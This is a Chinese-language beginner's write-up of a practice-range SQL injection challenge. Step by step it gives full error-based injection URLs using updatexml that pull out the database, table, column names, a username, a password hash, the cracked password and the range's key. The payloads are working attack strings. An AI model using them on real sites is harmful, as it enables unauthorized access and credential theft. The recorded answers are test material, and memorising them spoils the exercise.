SQL注入漏洞测试(报错盲注)笔记

这个是今天拿下的靶场，这是我作为小白学习的第二个靶场,做一下笔记

已知IP地址为：219.153.49.228，端口号为41280,访问了之后是下面的页面

看到这个页面之后，我进入了后台，查看之后知道了加new_list.php?id=1进行测试看是否有注入点

输入之后页面显示如下
接下来我输入’显示说明存在注入点
所以可以开始进行爆库了，输入http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1) --+
得到数据库名为stormgroup,如下图所示

接下来是爆表，http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%20%27stormgroup%27%20limit%200,1),0x7e),1)–+,0x7e),1) --+
得到的表名是member

接下来是爆字段名，http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27stormgroup%27%20and%20table_name%20=%20%27member%27),0x7e),1) --+
得到name,password,status

猜测用户名是mozhe，为了准确还是爆一下用户名http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20name%20from%20member%20limit%200,1),0x7e),1) --+
实践证明得到的答案确实是mozhe
越来越激动了，快要接近爆密码了，http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20member%20limit%201,1),0x7e),1) --+
看到密码爆出来了，很激动，马上进行解密，发现解密不了，有点小失望
想到了之前爆密码爆出两个，所以猜测正确密码是另外一个
http://219.153.49.228:41280/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(password,32,1)%20from%20member%20limit%201,1),0x7e),1) --+
看到这个傻了，怎么可能，密码不可能才一个字母，看到一个密码那么长，一个那么短，我试着把两个结合一起189c53065f5e0c4101eb8334a3d0653d，最后成功解密出来了，解密结果152794

密码得到之后，马上登陆，蹬蹬蹬~~~密码正确，得到的key为mozhe38886a303969ad3321dbd516a22